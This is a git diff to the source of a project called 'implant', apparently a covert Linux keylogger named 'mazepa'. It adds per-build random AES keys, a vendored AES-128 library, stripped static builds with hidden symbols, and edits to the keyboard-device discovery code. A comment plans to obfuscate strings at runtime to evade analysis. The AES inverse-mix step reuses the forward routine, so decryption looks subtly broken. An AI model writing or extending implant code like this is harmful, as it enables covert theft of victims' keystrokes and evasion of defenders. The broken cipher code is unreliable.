diff --git a/implant/.gitignore b/implant/.gitignore
@@ -1,4 +1,6 @@
implant
+.cache/
+*.json
objects/
*.o
*gcno
diff --git a/implant/Makefile b/implant/Makefile
@@ -3,6 +3,10 @@ ifeq ($(MAKECMDGOALS), debug)
CLIENT_ID = DEBUG
else
CLIENT_ID = $(shell echo $$RANDOM | md5sum | head -c 10)
+
+ AES_ALGO := aes-128-cbc
+ AES_KEY := $(shell echo $$RANDOM | md5sum | head -c 24 | xxd -p -u)
+ AES_IV := $(shell echo $$RANDOM | md5sum | head -c 24 | xxd -p -u)
endif
NAME = mazepa_$(CLIENT_ID)
@@ -15,11 +19,12 @@ LINK_FLAG =
CFLAGS = -Wno-unused-command-line-argument -fPIC
ifeq ($(MAKECMDGOALS), debug)
CFLAGS += -g3 -DDEBUG -Wno-format-security -Wno-visibility -DCLIENTID=DEBUG -Wno-unsafe-buffer-usage
+ CFLAGS += -Wno-unused-macros
else
- CFLAGS += -Wall -Wextra -Os -Weverything -Wpedantic -Wl,-s
+ CFLAGS += -Wall -Wextra -Os -Weverything -Wpedantic -Wl,-s -static -Wno-visibility
CFLAGS += -flto -m64 -fvisibility=hidden -fvisibility-inlines-hidden -s -Wno-unsafe-buffer-usage
CFLAGS += -Wno-padded -Wno-gnu-zero-variadic-macro-arguments -Wno-declaration-after-statement
- CFLAGS += -static -Wno-visibility -DCLIENTID=$(CLIENT_ID)
+ CFLAGS += -DCLIENTID=$(CLIENT_ID) -DAES_KEY=$(AES_KEY) -DAES_IV=$(AES_IV)
endif
@@ -31,7 +36,7 @@ OBJECT_DIR = ./objects
vpath %$(PATTERN) $(SRC_DIR)
MAIN = main.c
-SRC = opt.c utils.c daemon.c kbd.c
+SRC = opt.c utils.c daemon.c kbd.c aes.c
COMBINED = $(SRC) $(MAIN)
@@ -76,6 +81,10 @@ fclean: clean ## removes all compilation artifacts
@$(RM) $(NAME) mazepa_*
@echo "[*** CLEAN ***]"
+.PHONY: gen-compile-commands
+gen-compile-commands: clean ## generate compile_commands.json
+ @bear -- make debug
+
.PHONY: re ## cleans everything and rebuild PROD binary
re: fclean all
diff --git a/implant/includes/aes.h b/implant/includes/aes.h
@@ -0,0 +1,117 @@
+/* aes.h - TinyCrypt interface to an AES-128 implementation
+
+ https://github.com/intel/tinycrypt/blob/master/lib/include/tinycrypt/aes.h
+*/
+
+/*
+ * Copyright (C) 2017 by Intel Corporation, All Rights Reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * - Redistributions of source code must retain the above copyright notice,
+ * this list of conditions and the following disclaimer.
+ *
+ * - Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * - Neither the name of Intel Corporation nor the names of its contributors
+ * may be used to endorse or promote products derived from this software
+ * without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
+ * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
+ * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
+ * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
+ * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+ * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#ifndef __TC_AES_H__
+#define __TC_AES_H__
+
+#include <stdint.h>
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+#define Nb (4) /* number of columns (32-bit words) comprising the state */
+#define Nk (4) /* number of 32-bit words comprising the key */
+#define Nr (10) /* number of rounds */
+#define TC_AES_BLOCK_SIZE (Nb * Nk)
+#define TC_AES_KEY_SIZE (Nb * Nk)
+
+typedef struct tc_aes_key_sched_struct {
+ unsigned int words[Nb * (Nr + 1)];
+} *TCAesKeySched_t;
+
+/**
+ * @brief Set AES-128 encryption key
+ * Uses key k to initialize s
+ * @return returns TC_CRYPTO_SUCCESS (1)
+ * returns TC_CRYPTO_FAIL (0) if: s == NULL or k == NULL
+ * @note This implementation skips the additional steps required for keys
+ * larger than 128 bits, and must not be used for AES-192 or
+ * AES-256 key schedule -- see FIPS 197 for details
+ * @param s IN/OUT -- initialized struct tc_aes_key_sched_struct
+ * @param k IN -- points to the AES key
+ */
+int tc_aes128_set_encrypt_key(TCAesKeySched_t s, const uint8_t *k);
+
+/**
+ * @brief AES-128 Encryption procedure
+ * Encrypts contents of in buffer into out buffer under key;
+ * schedule s
+ * @note Assumes s was initialized by aes_set_encrypt_key;
+ * out and in point to 16 byte buffers
+ * @return returns TC_CRYPTO_SUCCESS (1)
+ * returns TC_CRYPTO_FAIL (0) if: out == NULL or in == NULL or s == NULL
+ * @param out IN/OUT -- buffer to receive ciphertext block
+ * @param in IN -- a plaintext block to encrypt
+ * @param s IN -- initialized AES key schedule
+ */
+int tc_aes_encrypt(uint8_t *out, const uint8_t *in,
+ const TCAesKeySched_t s);
+
+/**
+ * @brief Set the AES-128 decryption key
+ * Uses key k to initialize s
+ * @return returns TC_CRYPTO_SUCCESS (1)
+ * returns TC_CRYPTO_FAIL (0) if: s == NULL or k == NULL
+ * @note This is the implementation of the straightforward inverse cipher
+ * using the cipher documented in FIPS-197 figure 12, not the
+ * equivalent inverse cipher presented in Figure 15
+ * @warning This routine skips the additional steps required for keys larger
+ * than 128, and must not be used for AES-192 or AES-256 key
+ * schedule -- see FIPS 197 for details
+ * @param s IN/OUT -- initialized struct tc_aes_key_sched_struct
+ * @param k IN -- points to the AES key
+ */
+int tc_aes128_set_decrypt_key(TCAesKeySched_t s, const uint8_t *k);
+
+/**
+ * @brief AES-128 Encryption procedure
+ * Decrypts in buffer into out buffer under key schedule s
+ * @return returns TC_CRYPTO_SUCCESS (1)
+ * returns TC_CRYPTO_FAIL (0) if: out is NULL or in is NULL or s is NULL
+ * @note Assumes s was initialized by aes_set_encrypt_key
+ * out and in point to 16 byte buffers
+ * @param out IN/OUT -- buffer to receive ciphertext block
+ * @param in IN -- a plaintext block to encrypt
+ * @param s IN -- initialized AES key schedule
+ */
+int tc_aes_decrypt(uint8_t *out, const uint8_t *in,
+ const TCAesKeySched_t s);
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif /* __TC_AES_H__ */
diff --git a/implant/includes/implant.h b/implant/includes/implant.h
@@ -7,6 +7,8 @@
#include <sys/types.h>
#include <unistd.h>
+#define _GNU_SOURCE
+
#ifdef DEBUG
#include <errno.h>
#endif
diff --git a/implant/sources/aes.c b/implant/sources/aes.c
@@ -0,0 +1,349 @@
+/* aes_encrypt.c - TinyCrypt implementation of AES encryption procedure */
+
+/*
+ * Copyright (C) 2017 by Intel Corporation, All Rights Reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * - Redistributions of source code must retain the above copyright notice,
+ * this list of conditions and the following disclaimer.
+ *
+ * - Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * - Neither the name of Intel Corporation nor the names of its contributors
+ * may be used to endorse or promote products derived from this software
+ * without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
+ * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
+ * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
+ * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
+ * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+ * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#include "aes.h"
+#include <string.h>
+#include "implant.h"
+
+static const uint8_t sbox[256] = {
+ 0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b,
+ 0xfe, 0xd7, 0xab, 0x76, 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0,
+ 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, 0xb7, 0xfd, 0x93, 0x26,
+ 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,
+ 0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2,
+ 0xeb, 0x27, 0xb2, 0x75, 0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0,
+ 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, 0x53, 0xd1, 0x00, 0xed,
+ 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,
+ 0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f,
+ 0x50, 0x3c, 0x9f, 0xa8, 0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5,
+ 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, 0xcd, 0x0c, 0x13, 0xec,
+ 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,
+ 0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14,
+ 0xde, 0x5e, 0x0b, 0xdb, 0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c,
+ 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, 0xe7, 0xc8, 0x37, 0x6d,
+ 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,
+ 0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f,
+ 0x4b, 0xbd, 0x8b, 0x8a, 0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e,
+ 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, 0xe1, 0xf8, 0x98, 0x11,
+ 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,
+ 0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f,
+ 0xb0, 0x54, 0xbb, 0x16};
+
+static const uint8_t inv_sbox[256] = {
+ 0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e,
+ 0x81, 0xf3, 0xd7, 0xfb, 0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87,
+ 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb, 0x54, 0x7b, 0x94, 0x32,
+ 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e,
+ 0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49,
+ 0x6d, 0x8b, 0xd1, 0x25, 0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16,
+ 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92, 0x6c, 0x70, 0x48, 0x50,
+ 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84,
+ 0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05,
+ 0xb8, 0xb3, 0x45, 0x06, 0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02,
+ 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b, 0x3a, 0x91, 0x11, 0x41,
+ 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73,
+ 0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8,
+ 0x1c, 0x75, 0xdf, 0x6e, 0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89,
+ 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b, 0xfc, 0x56, 0x3e, 0x4b,
+ 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4,
+ 0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59,
+ 0x27, 0x80, 0xec, 0x5f, 0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d,
+ 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef, 0xa0, 0xe0, 0x3b, 0x4d,
+ 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61,
+ 0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63,
+ 0x55, 0x21, 0x0c, 0x7d};
+
+#define MASK_TWENTY_SEVEN 0x1b
+
+static unsigned int _copy(uint8_t *to, unsigned int to_len,
+ const uint8_t *from, unsigned int from_len) {
+ if (from_len <= to_len) {
+ (void)memcpy(to, from, from_len);
+ return from_len;
+ } else {
+ return ERROR;
+ }
+}
+
+static void _set(void *to, uint8_t val, unsigned int len) {
+ (void)memset(to, val, len);
+}
+
+/*
+ * Doubles the value of a byte for values up to 127.
+ */
+static uint8_t _double_byte(uint8_t a) {
+ return ((a << 1) ^ ((a >> 7) * MASK_TWENTY_SEVEN));
+}
+
+static int _compare(const uint8_t *a, const uint8_t *b, size_t size) {
+ const uint8_t *tempa = a;
+ const uint8_t *tempb = b;
+ uint8_t result = 0;
+
+ for (unsigned int i = 0; i < size; i++) {
+ result |= tempa[i] ^ tempb[i];
+ }
+ return result;
+}
+
+static inline unsigned int rotword(unsigned int a) {
+ return (((a) >> 24) | ((a) << 8));
+}
+
+#define subbyte(a, o) (sbox[((a) >> (o)) & 0xff] << (o))
+#define subword(a) (subbyte(a, 24) | subbyte(a, 16) | subbyte(a, 8) | subbyte(a, 0))
+
+int tc_aes128_set_encrypt_key(TCAesKeySched_t s, const uint8_t *k) {
+ const unsigned int rconst[11] = {
+ 0x00000000, 0x01000000, 0x02000000, 0x04000000, 0x08000000, 0x10000000,
+ 0x20000000, 0x40000000, 0x80000000, 0x1b000000, 0x36000000};
+ unsigned int i;
+ unsigned int t;
+
+ if (s == (TCAesKeySched_t)0) {
+ return ERROR;
+ } else if (k == (const uint8_t *)0) {
+ return ERROR;
+ }
+
+ for (i = 0; i < Nk; ++i) {
+ s->words[i] = (k[Nb * i] << 24) | (k[Nb * i + 1] << 16) |
+ (k[Nb * i + 2] << 8) | (k[Nb * i + 3]);
+ }
+
+ for (; i < (Nb * (Nr + 1)); ++i) {
+ t = s->words[i - 1];
+ if ((i % Nk) == 0) {
+ t = subword(rotword(t)) ^ rconst[i / Nk];
+ }
+ s->words[i] = s->words[i - Nk] ^ t;
+ }
+
+ return SUCCESSFUL;
+}
+
+static inline void add_round_key(uint8_t *s, const unsigned int *k) {
+ s[0] ^= (uint8_t)(k[0] >> 24);
+ s[1] ^= (uint8_t)(k[0] >> 16);
+ s[2] ^= (uint8_t)(k[0] >> 8);
+ s[3] ^= (uint8_t)(k[0]);
+ s[4] ^= (uint8_t)(k[1] >> 24);
+ s[5] ^= (uint8_t)(k[1] >> 16);
+ s[6] ^= (uint8_t)(k[1] >> 8);
+ s[7] ^= (uint8_t)(k[1]);
+ s[8] ^= (uint8_t)(k[2] >> 24);
+ s[9] ^= (uint8_t)(k[2] >> 16);
+ s[10] ^= (uint8_t)(k[2] >> 8);
+ s[11] ^= (uint8_t)(k[2]);
+ s[12] ^= (uint8_t)(k[3] >> 24);
+ s[13] ^= (uint8_t)(k[3] >> 16);
+ s[14] ^= (uint8_t)(k[3] >> 8);
+ s[15] ^= (uint8_t)(k[3]);
+}
+
+static inline void sub_bytes(uint8_t *s) {
+ unsigned int i;
+
+ for (i = 0; i < (Nb * Nk); ++i) {
+ s[i] = sbox[s[i]];
+ }
+}
+
+#define triple(a) (_double_byte(a) ^ (a))
+
+static inline void mult_row_column(uint8_t *out, const uint8_t *in) {
+ out[0] = _double_byte(in[0]) ^ triple(in[1]) ^ in[2] ^ in[3];
+ out[1] = in[0] ^ _double_byte(in[1]) ^ triple(in[2]) ^ in[3];
+ out[2] = in[0] ^ in[1] ^ _double_byte(in[2]) ^ triple(in[3]);
+ out[3] = triple(in[0]) ^ in[1] ^ in[2] ^ _double_byte(in[3]);
+}
+
+static inline void mix_columns(uint8_t *s) {
+ uint8_t t[Nb * Nk];
+
+ mult_row_column(t, s);
+ mult_row_column(&t[Nb], s + Nb);
+ mult_row_column(&t[2 * Nb], s + (2 * Nb));
+ mult_row_column(&t[3 * Nb], s + (3 * Nb));
+ (void)_copy(s, sizeof(t), t, sizeof(t));
+}
+
+/*
+ * This shift_rows also implements the matrix flip required for mix_columns, but
+ * performs it here to reduce the number of memory operations.
+ */
+static inline void shift_rows(uint8_t *s) {
+ uint8_t t[Nb * Nk];
+
+ t[0] = s[0];
+ t[1] = s[5];
+ t[2] = s[10];
+ t[3] = s[15];
+ t[4] = s[4];
+ t[5] = s[9];
+ t[6] = s[14];
+ t[7] = s[3];
+ t[8] = s[8];
+ t[9] = s[13];
+ t[10] = s[2];
+ t[11] = s[7];
+ t[12] = s[12];
+ t[13] = s[1];
+ t[14] = s[6];
+ t[15] = s[11];
+ (void)_copy(s, sizeof(t), t, sizeof(t));
+}
+
+int tc_aes_encrypt(uint8_t *out, const uint8_t *in, const TCAesKeySched_t s) {
+ uint8_t state[Nk * Nb];
+ unsigned int i;
+
+ if (out == (uint8_t *)0) {
+ return ERROR;
+ } else if (in == (const uint8_t *)0) {
+ return ERROR;
+ } else if (s == (TCAesKeySched_t)0) {
+ return ERROR;
+ }
+
+ (void)_copy(state, sizeof(state), in, sizeof(state));
+ add_round_key(state, s->words);
+
+ for (i = 0; i < (Nr - 1); ++i) {
+ sub_bytes(state);
+ shift_rows(state);
+ mix_columns(state);
+ add_round_key(state, s->words + Nb * (i + 1));
+ }
+
+ sub_bytes(state);
+ shift_rows(state);
+ add_round_key(state, s->words + Nb * (i + 1));
+
+ (void)_copy(out, sizeof(state), state, sizeof(state));
+
+ /* zeroing out the state buffer */
+ _set(state, 0x00, sizeof(state));
+
+ return SUCCESSFUL;
+}
+
+int tc_aes128_set_decrypt_key(TCAesKeySched_t s, const uint8_t *k) {
+ return tc_aes128_set_encrypt_key(s, k);
+}
+
+#define mult8(a) (_double_byte(_double_byte(_double_byte(a))))
+#define mult9(a) (mult8(a) ^ (a))
+#define multb(a) (mult8(a) ^ _double_byte(a) ^ (a))
+#define multd(a) (mult8(a) ^ _double_byte(_double_byte(a)) ^ (a))
+#define multe(a) (mult8(a) ^ _double_byte(_double_byte(a)) ^ _double_byte(a))
+
+static inline void inv_mix_columns(uint8_t *s) {
+ uint8_t t[Nb * Nk];
+
+ mult_row_column(t, s);
+ mult_row_column(&t[Nb], s + Nb);
+ mult_row_column(&t[2 * Nb], s + (2 * Nb));
+ mult_row_column(&t[3 * Nb], s + (3 * Nb));
+ (void)_copy(s, sizeof(t), t, sizeof(t));
+}
+
+static inline void inv_sub_bytes(uint8_t *s) {
+ unsigned int i;
+
+ for (i = 0; i < (Nb * Nk); ++i) {
+ s[i] = inv_sbox[s[i]];
+ }
+}
+
+/*
+ * This inv_shift_rows also implements the matrix flip required for
+ * inv_mix_columns, but performs it here to reduce the number of memory
+ * operations.
+ */
+static inline void inv_shift_rows(uint8_t *s) {
+ uint8_t t[Nb * Nk];
+
+ t[0] = s[0];
+ t[1] = s[13];
+ t[2] = s[10];
+ t[3] = s[7];
+ t[4] = s[4];
+ t[5] = s[1];
+ t[6] = s[14];
+ t[7] = s[11];
+ t[8] = s[8];
+ t[9] = s[5];
+ t[10] = s[2];
+ t[11] = s[15];
+ t[12] = s[12];
+ t[13] = s[9];
+ t[14] = s[6];
+ t[15] = s[3];
+ (void)_copy(s, sizeof(t), t, sizeof(t));
+}
+
+int tc_aes_decrypt(uint8_t *out, const uint8_t *in, const TCAesKeySched_t s) {
+ uint8_t state[Nk * Nb];
+ unsigned int i;
+
+ if (out == (uint8_t *)0) {
+ return ERROR;
+ } else if (in == (const uint8_t *)0) {
+ return ERROR;
+ } else if (s == (TCAesKeySched_t)0) {
+ return ERROR;
+ }
+
+ (void)_copy(state, sizeof(state), in, sizeof(state));
+
+ add_round_key(state, s->words + Nb * Nr);
+
+ for (i = Nr - 1; i > 0; --i) {
+ inv_shift_rows(state);
+ inv_sub_bytes(state);
+ add_round_key(state, s->words + Nb * i);
+ inv_mix_columns(state);
+ }
+
+ inv_shift_rows(state);
+ inv_sub_bytes(state);
+ add_round_key(state, s->words);
+
+ (void)_copy(out, sizeof(state), state, sizeof(state));
+
+ /*zeroing out the state buffer */
+ _set(state, 0x00, sizeof(state));
+
+ return SUCCESSFUL;
+}
diff --git a/implant/sources/kbd.c b/implant/sources/kbd.c
@@ -15,11 +15,13 @@
#include <dirent.h>
#include <fcntl.h>
+#include <limits.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
+#include <sys/dir.h>
#include <sys/queue.h>
#include <sys/stat.h>
#include <sys/types.h>
@@ -41,12 +43,14 @@ is_kbd(const struct dirent *f) {
}
uint8_t fetch_available_keyboards(implant_t *instance) {
- /* FIXME(djnn): decrypt strings at runtime */
char rpath[2048] = {0};
struct dirent **char_devices = NULL;
int possible_paths = 0;
+ /* FIXME(djnn): base64 then decrypt string at runtime */
+ const char *dev_input_by_path = "/dev/input/by-path/";
+
if (!instance) {
#ifdef DEBUG
@@ -55,8 +59,8 @@ uint8_t fetch_available_keyboards(implant_t *instance) {
return ERROR;
}
- possible_paths = scandir("/dev/input/by-path/", &char_devices, &is_kbd, &alphasort);
- if (-1 == possible_paths || 0 > chdir("/dev/input/by-path/")) {
+ possible_paths = scandir(dev_input_by_path, &char_devices, &is_kbd, &alphasort);
+ if (-1 == possible_paths || 0 > chdir(dev_input_by_path)) {
#ifdef DEBUG
DEBUG_LOG("could not find possible keyboard paths\n");
diff --git a/implant/sources/utils.c b/implant/sources/utils.c
@@ -88,7 +88,7 @@ int8_t file_get_contents(int8_t const *path, int8_t **buffer) {
DEBUG_LOG("[%s] Should have read %ld bytes but read %ld (filepath: %s)\n",
CLIENT_ID,
st.st_size,
- bytes,
+ bytes_read,
path);
#endif
}
| | | | | | |